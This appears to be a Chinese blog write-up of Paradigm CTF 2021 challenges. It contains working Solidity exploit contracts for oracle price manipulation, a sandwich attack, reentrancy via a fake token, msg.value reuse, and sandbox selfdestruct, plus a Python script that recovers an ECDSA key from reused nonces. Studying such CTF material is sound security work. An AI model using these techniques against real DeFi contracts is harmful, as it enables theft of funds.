Writeup | Paradigm CTF 2021 Part one

Paradigm CTF 2021

Paradigm CTF 2021代码库

完整wp代码仓库

HELLO

送分题,调用solve即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
const { expect } = require("chai");

describe("hello", function() {
let attacker;
it("should return the solved", async function(){
[attacker] = await ethers.getSigners();

const Setup = await ethers.getContractFactory("Setup",attacker);
const setup = await Setup.deploy();

const helloAddr = await setup.hello();
const hello = await ethers.getContractAt("Hello", helloAddr, attacker);

await hello.solve();
expect(await setup.isSolved()).to.equal(true);
})
}
)

SECURE

这句是将setup中的WETH转走,此时balance为0

1
wallet.execModule(tokenModule, abi.encodeWithSelector(TokenModule(0x00).deposit.selector, WETH, address(this), msg.value));

如果Setup合约有 50 (W)ETH,挑战就解决了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
const { expect } = require("chai");
const { ethers } = require('hardhat');

describe("secure", function() {
let attacker,deployer;
it("should return the solved", async function(){
[attacker,deployer] = await ethers.getSigners();

const WETH = await ethers.getContractAt("WETH9", "0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2", attacker);

const Setup = await ethers.getContractFactory("secureSetup",attacker);
const setup = await Setup.deploy({
value: ethers.utils.parseEther("50.0")
});
expect(await WETH.balanceOf(setup.address)).to.equal(0);

await WETH.deposit({
value: ethers.utils.parseEther("50.0")
});

//转账
await WETH.transfer(setup.address,setup.WANT())
expect(await setup.isSolved()).to.equal(true);
})
}
)

BABYCRYPTO

通关要求是验签成功

1
2
3
4
5
if not pub.verifies(test, ecdsa.Signature(r, s)):
print("better luck next time")
exit(1)

print(flag)

可以发现每一次的r都是相同的

image-20220905221931560

由此可以联想到[capture the ether —— Account Takeover](https://sissice.github.io/2022/04/02/capture the ether wp/)

我们可以利用两个相同的r计算出私钥,再利用私钥对消息进行签名,最后解析出签名中的r和s即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
from random import SystemRandom
from ecdsa import ecdsa
import sha3
import binascii
from typing import Tuple
import uuid
import os
import math

def hash_message(msg: str) -> int:
"""
hash the message using keccak256, truncate if necessary
"""
k = sha3.keccak_256()
k.update(msg.encode("utf8"))
d = k.digest()
n = int(binascii.hexlify(d), 16)
olen = ecdsa.generator_secp256k1.order().bit_length() or 1
dlen = len(d)
n >>= max(0, dlen - olen)
return n

def modInverse(b,m):
g = math.gcd(b, m)
if (g != 1):
return -1
else:
return pow(b, m - 2, m)

# Function to compute a/b under modulo m
def modDivide(a,b,m):
a = a % m
inv = modInverse(b,m)
if(inv == -1):
print("Division not defined")
else:
return (inv*a) % m

if __name__ == "__main__":
msg1 = input("msg1? ")
msg1_hashed = hash_message(msg1)
msg2 = input("msg2? ")
msg2_hashed = hash_message(msg2)
r1 = int(input("r1? "), 16)
s1 = int(input("s1? "), 16)
s2 = int(input("s2? "), 16)

g = ecdsa.generator_secp256k1
n = g.order()

k = modDivide((msg1_hashed - msg2_hashed), (s1 - s2), n)

d = modDivide(((s1 * k) - msg1_hashed), r1, n)

test = int(input("test? "), 16)

pub = ecdsa.Public_key(g, g * d)
priv = ecdsa.Private_key(pub, d)

sig = priv.sign(test, k)
print(f"solved r=0x{sig.r:032x}")
print(f"solved s=0x{sig.s:032x}")

BROKER

完成挑战的条件是合约broker持有的weth少于5 ether

1
2
3
function isSolved() public view returns (bool) {
return weth.balanceOf(address(broker)) < 5 ether;
}

而Broker 中的初始余额为 25 WETH 和 500,000 Token

broker中可以转出WETH的函数有两个

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
function withdraw(uint256 amount) public {
deposited[msg.sender] -= amount;
require(safeDebt(msg.sender) >= debt[msg.sender], "err: undercollateralized");

weth.transfer(msg.sender, amount);
}

function liquidate(address user, uint256 amount) public returns (uint256) {
require(safeDebt(user) <= debt[user], "err: overcollateralized");
debt[user] -= amount;
token.transferFrom(msg.sender, address(this), amount);
uint256 collateralValueRepaid = amount / rate();
weth.transfer(msg.sender, collateralValueRepaid);
return collateralValueRepaid;
}

其中withdraw需要满足safeDebt(msg.sender) >= debt[msg.sender]

liquidate需要满足safeDebt(user) <= debt[user]

safeDebt 由 deposited[user] 和 rate() 决定

1
2
3
4
5
6
7
8
function rate() public view returns (uint256) {
(uint112 _reserve0, uint112 _reserve1,) = pair.getReserves();
uint256 _rate = uint256(_reserve0 / _reserve1);
return _rate;
}
function safeDebt(address user) public view returns (uint256) {
return deposited[user] * rate() * 2 / 3;
}

broker是一家超额抵押贷款银行。以 WETH 作为抵押,提供 Token 作为借贷。当抵押品被认为抵押不足时,该账户可以被清算。正如我们之前提到的,抵押因子将根据 Uniswap 交易对的价格来决定。

攻击思路(生产环境没有足够多的ETH,中可以在一个闪贷中完成攻击):

  1. Deposit WETH 作为抵押品。
  2. 尽可能多的“借”Token,让清算更容易。
  3. 在 Uniswap 交易对中购买 Token,提升 Token 价格。
  4. 由于 Token 价格上涨,我们使用的账户抵押不足。
  5. 清算账户,偿还适当数量的Token以提取Broker中的WETH。

Uniswap V2 中的swap

UniswapV2Router02.sol

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
pragma solidity 0.8.0;

import "./Setup.sol";

interface Router {
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
}

contract brokerExploit {
uint256 constant DECIMALS = 1 ether;
IUniswapV2Pair pair;
Broker broker;
ERC20Like token;
WETH91 weth;
brokerSetup setup;
Router router = Router(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);

//目标是将rate降为0,然后liquidate
constructor(brokerSetup _setup) payable {
setup = _setup;
weth = setup.weth();
weth.deposit{value: msg.value}();
pair = setup.pair();
broker = setup.broker();
token = ERC20Like(address(setup.token()));


}

function attack() public {
weth.approve(address(broker), type(uint256).max);
weth.approve(address(router), type(uint256).max);
token.approve(address(broker), type(uint256).max);
token.approve(address(router), type(uint256).max);

uint256 ethToSend = 15 ether;

uint256 balanceBefore = weth.balanceOf(address(this));


address[] memory path = new address[](2);
path[0] = address(weth);
path[1] = address(token);
uint256[] memory tokensReceived = router.swapExactTokensForTokens(
ethToSend,
1,
path,
address(this),
type(uint256).max
);


uint256 tokenReceived = tokensReceived[1];
uint256 receivedCollateral = broker.liquidate(address(setup), tokenReceived);
require(weth.balanceOf(address(this)) > balanceBefore);
}
}


FARMER

要求是Dai的余额小于期望值,且farmer和faucet的COMP余额都为0.

1
2
3
4
5
function isSolved() public view returns (bool) {
return COMP.balanceOf(address(faucet)) == 0 &&
COMP.balanceOf(address(farmer)) == 0 &&
DAI.balanceOf(address(farmer)) < expectedBalance;
}

期望值expectedBalance的定义

1
expectedBalance = DAI.balanceOf(address(farmer)) + farmer.peekYield(); 

peekYield其实质是Uniswap中,COMP->WETH->DAI的连续两次swap。我们直到SWAP的价格曲线是在 x*y=k 的曲线上移动,故一个简单的思路是在让曲线上的点先向下移动,再进行COMP->WETH->DAI的交换,此时能够换到的DAI的数量就会比peekYield的数量少。即三明治攻击

1
2
3
4
5
6
7
8
9
10
11
function peekYield() public view returns (uint256) {
uint256 claimableAmount = IComptroller(comptroller).claimableComp();

address[] memory path = new address[](3);
path[0] = address(COMP);
path[1] = address(WETH);
path[2] = address(dai);

uint256[] memory amounts = router.getAmountsOut(claimableAmount, path);
return amounts[2];
}

recycle也是进行COMP->WETH->DAI的交换

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
function recycle() public returns (uint256) {
address[] memory path = new address[](3);
path[0] = address(COMP);
path[1] = address(WETH);
path[2] = address(dai);

uint256 bal = COMP.balanceOf(address(this));
COMP.approve(address(router), bal);

uint256[] memory amts = router.swapExactTokensForTokens(
bal,
0,
path,
address(this),
block.timestamp + 1800
);

return amts[2];
}

所以有以下攻击合约

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
pragma solidity ^0.8.0;

import "./Setup.sol";

contract farmerExploit {
ERC20Like public constant dai = ERC20Like(0x6B175474E89094C44Da98b954EedeAC495271d0F);
UniRouter public constant router = UniRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
WETH9 public constant WETH = WETH9(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);

ERC20Like public constant COMP = ERC20Like(0xc00e94Cb662C3520282E6f5717214004A7f26888);

CompDaiFarmer public farmer;
farmerSetup setup;

constructor(farmerSetup _setup) payable {
// 将ETH存入WETH,换成WETH
WETH.deposit{value: msg.value}();
setup = _setup;
farmer = setup.farmer();
WETH.approve(address(farmer), type(uint256).max);
WETH.approve(address(router), type(uint256).max);

COMP.approve(address(farmer), type(uint256).max);
COMP.approve(address(router), type(uint256).max);

// 将 WETH 通过 uniswap 交换成dai => 从而向下移动 WETH -> DAI 曲线点
// 事实上交易 Comp -> WETH 对我们来说会更有利可图
// 但我们没有任何 Comp,所以选择 WETH -> DAI
address[] memory path = new address[](2);
path[0] = address(WETH);
path[1] = address(dai);

uint256 bal = WETH.balanceOf(address(this));

router.swapExactTokensForTokens(
bal, //amountIn
0, //amountOutMin,漏洞点在这里,检查Swap最后得到的Token数量和提供的amountOutMin值的大小关系
path, //path
address(this), //to
block.timestamp //deadline
);
//索赔COMP,使 faucet 的comp数量为0
farmer.claim();
//将COMP交换得到dai,使 farm 的COMP的数量为0,且dai的数量少于expected
farmer.recycle();
}
}

YIELD_AGGREGATOR

目标是weth余额清零

1
2
3
4
function isSolved() public view returns (bool) {
return weth.balanceOf(address(aggregator)) == 0 &&
weth.balanceOf(address(bank)) == 0;
}

解法一

这里的 transferFrom 是一个外部调用,可以利用外部调用实现重入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
function deposit(Protocol protocol, address[] memory tokens, uint256[] memory amounts) public {
uint256 balanceBefore = protocol.balanceUnderlying();
for (uint256 i= 0; i < tokens.length; i++) {
address token = tokens[i];
uint256 amount = amounts[i];

ERC20Like(token).transferFrom(msg.sender, address(this), amount);
ERC20Like(token).approve(address(protocol), 0);
ERC20Like(token).approve(address(protocol), amount);
// reset approval for failed mints
try protocol.mint(amount) { } catch {
ERC20Like(token).approve(address(protocol), 0);
}
}
uint256 balanceAfter = protocol.balanceUnderlying();
uint256 diff = balanceAfter - balanceBefore;
poolTokens[msg.sender] += diff;
}

deposit 中不会检查输入的protocol和tokens,并且使用balanceBefore和balanceAfter这种快照模式来计算用户存入金额

利用transferFrom重入有以下流程

  • deposit fakeToken,数目不限
  • balanceUnderlying = 50 (setup后的初始值)
  • fakeToken.transferFrom (已重写)
    • deposit weth 50
    • weth.transferFrom 50
    • balanceUnderlying = 100
    • diff = 50
    • poolTokens += diff (第一次)
  • balanceUnderlying = 100
  • diff = 50
  • poolTokens += diff (第二次)

demo

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
contract yieldExploit {
yieldSetup setup;
YieldAggregator aggregator;
WETH92 constant weth = WETH92(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);
Protocol protocol;

constructor(yieldSetup _setup) payable {
require(msg.value == 50 ether);
setup = _setup;
aggregator = setup.aggregator();
protocol = Protocol(address(setup.bank()));
// fund our wallet
weth.deposit{value: msg.value}();
weth.approve(address(aggregator), type(uint256).max);
weth.approve(address(protocol), type(uint256).max);
}

function attack() public {
address[] memory _tokens = new address[](1);
_tokens[0] = address(this);

uint256[] memory _amounts = new uint256[](1);
_amounts[0] = 100;
aggregator.deposit(protocol, _tokens, _amounts);

_tokens[0] = address(weth);
_amounts[0] = 100 ether;
aggregator.withdraw(protocol, _tokens, _amounts);
}

function transferFrom(
address src,
address dst,
uint256 qty
) external returns (bool) {
address[] memory _tokens = new address[](1);
_tokens[0] = address(weth);

uint256[] memory _amounts = new uint256[](1);
_amounts[0] = 50 ether;
aggregator.deposit(protocol, _tokens, _amounts);
return true;
}

function approve(
address dst,
uint256 qty
) external returns (bool) {
return true;
}
}

解法二

自己生成一个新的bank,deposit weth 50,增加poolTokens[attackContract]的值,再withdraw 原bank 50

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
contract ExploitYieldAggregator {
WETH92 constant weth = WETH92(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2); // mainnet

constructor(address _bank, address _aggregator) payable {
require(msg.value == 50 ether);

weth.deposit{value: msg.value}();
weth.approve(_aggregator, type(uint256).max);

MiniBank exploitBank = new MiniBank();

address[] memory _tokens = new address[](1);
_tokens[0] = address(weth);

uint256[] memory _amounts = new uint256[](1);
_amounts[0] = 50 ether;

YieldAggregator aggregator = YieldAggregator(_aggregator);
//此处的_amounts必须大于等于50,否则withdraw时poolTokens[attackContract]会不足
aggregator.deposit(Protocol(address(exploitBank)), _tokens, _amounts);

_amounts[0] = 50 ether;
aggregator.withdraw(Protocol(_bank), _tokens, _amounts);
}
}

BOUNCER

要求是清空合约bouncer的余额,初始状态下bouncer余额为50+2 ETH

1
2
3
function isSolved() public view returns (bool) {
return address(bouncer).balance == 0;
}

只有payout具有transfer功能

1
2
3
4
5
6
7
function payout(ERC20Like token, address to, uint256 amount) private {
if (address(token) == ETH) {
payable(to).transfer(amount);
} else {
require(token.transfer(to, amount), "err/not enough tokens");
}
}

payout被redeem调用

1
2
3
4
function redeem(ERC20Like token, uint256 amount) public {
tokens[msg.sender][address(token)] -= amount;
payout(token, msg.sender, amount);
}

所以首先要使 tokens[msg.sender][address(token)] 被增加

convert可以达成需求,但是会在proofOfOwnership中检查msg.value == amount

1
2
3
4
5
6
7
8
9
10
function convert(address who, uint256 id) payable public {
Entry memory entry = entries[who][id];
require(block.timestamp != entry.timestamp, "err/wait after entering");
if (address(entry.token) != ETH) {
require(entry.token.allowance(who, address(this)) == type(uint256).max, "err/must give full approval");
}
require(msg.sender == who || msg.sender == delegates[who]);
proofOfOwnership(entry.token, who, entry.amount);
tokens[who][address(entry.token)] += entry.amount;
}

所以选择利用convertMany,支付1份value而使 tokens[who][address(entry.token)] n倍的增加

1
2
3
4
5
function convertMany(address who, uint256[] memory ids) payable public {
for (uint256 i = 0; i < ids.length; i++) {
convert(who, ids[i]);
}
}

demo

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
pragma solidity ^0.8.0;

import "./Setup.sol";

contract bouncerExploit {

address constant ETH = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE;
uint256 public constant entryFee = 1 ether;
Bouncer bouncer;

function attack1(address _bouncer) public payable {
bouncer = Bouncer(_bouncer);
require(msg.value == entryFee);

uint256 amount = entryFee + address(bouncer).balance;
bouncer.enter{value: entryFee}(ETH, amount);
//此时address(bouncer).balance=52+1
}

function attack2() public payable {
//amount=53
uint256 amount = address(bouncer).balance;
require(msg.value == amount);

uint256[] memory ids = new uint256[](2);
ids[0] = 0;
ids[1] = 0;

bouncer.convertMany{value: amount}(address(this), ids);
//利用convertMany,使
//address(bouncer).balance=106
//tokens[address(exploit)][address(ETH)]=106
bouncer.redeem(ERC20Like(ETH), address(bouncer).balance);
}

receive() external payable {

}
}

BABYSANDBOX

要求部署的BabySandbox合约的代码大小变为 0 ,即销毁他

1
2
3
4
5
6
7
function isSolved() public view returns (bool) {
uint size;
assembly {
size := extcodesize(sload(sandbox.slot))
}
return size == 0;
}

staticcall 意思是等同于CALL,除了它不允许任何状态修改指令。因此 SELFDESTRUCT 不允许在 staticcall 期间使用

BabySandbox.run()的内部逻辑

  • 首先会判断msg.sender == address(this),即判断是否为合约自身调用。由于我们将会外部调用该合约,故此时的msg.sender是code合约地址,判断为否。

  • 然后进入staticcall(address(this))部分,它重进入自己的合约内,再次调用babysandbox.run(code)方法。

    1
    2
    3
    if iszero(staticcall(0x4000, address(), 0, calldatasize(), 0, 0)) {
    revert(0x00, 0x00)
    }

    此时需注意,由于是重进入,故此时的msg.senderaddress(this)相等。故经过判定,会进入到delegatecall(code)的逻辑中。

    • delegatecall(code)逻辑中,实际上是调用外部合约code的fallback()方法,注意此时为staticcall的调用环境,故此时应该让其直接返回success即可。

    • 并且此时在staticcall环境中,不允许修改状态

      1
      switch delegatecall(gas(), code, 0x00, 0x00, 0x00, 0x00)
  • staticcall(address(this))通过后,会进入call(address(this))调用,同样的参数,同样的逻辑过程。

    1
    switch call(0x4000, address(), 0, 0, calldatasize(), 0, 0)
    • 重进入自己的合约内,再次调用babysandbox.run(code)方法,进入到delegatecall(code)的逻辑中

    • delegatecall(code)逻辑中,调用外部合约code的fallback()方法

      因此此时需要在code.fallback()函数中,不直接返回,而是执行selfdestruct(tx.origin)来销毁babysandbox合约。

      注意,由于delegatecall不会改变上下文,所以msg.sender和tx.origin都可以使用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
import "./Setup.sol";

contract Child {
Child private immutable self = this;
uint8 flag = 1;

//试图修改状态,判断是否在staticcall环境中
function check() external {
flag += 1;
}

fallback() external payable {
//如果修改状态成功,则说明不在staticcall环境中,可以进行selfdestruct
try self.check() {
selfdestruct(tx.origin);
} catch {}
//由于staticcall环境中不能修改状态,因此以下方法不能实现
// bool flag = false;
// if(flag) {
// selfdestruct(tx.origin);
// }else{
// flag = true;
// }
}
}

contract babySandboxExploit {
constructor(babySandboxSetup setup) {
setup.sandbox().run(address(new Child()));
}
}

Writeup | Paradigm CTF 2021 Part one
http://sissice.github.io/2022/09/18/ParadigmCTF2021one/
作者
Sissice
发布于
2022年9月18日
许可协议